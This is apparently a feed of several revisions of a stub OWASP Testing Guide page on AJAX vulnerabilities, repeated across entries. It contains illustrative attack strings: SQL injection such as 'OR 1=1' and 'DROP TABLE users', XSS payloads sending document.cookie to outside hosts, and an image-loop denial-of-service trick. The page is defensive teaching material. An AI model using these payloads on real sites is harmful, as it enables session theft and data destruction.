* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11787</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11787"/>
				<updated>2006-11-05T21:15:39Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11786</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11786"/>
				<updated>2006-11-05T21:08:50Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
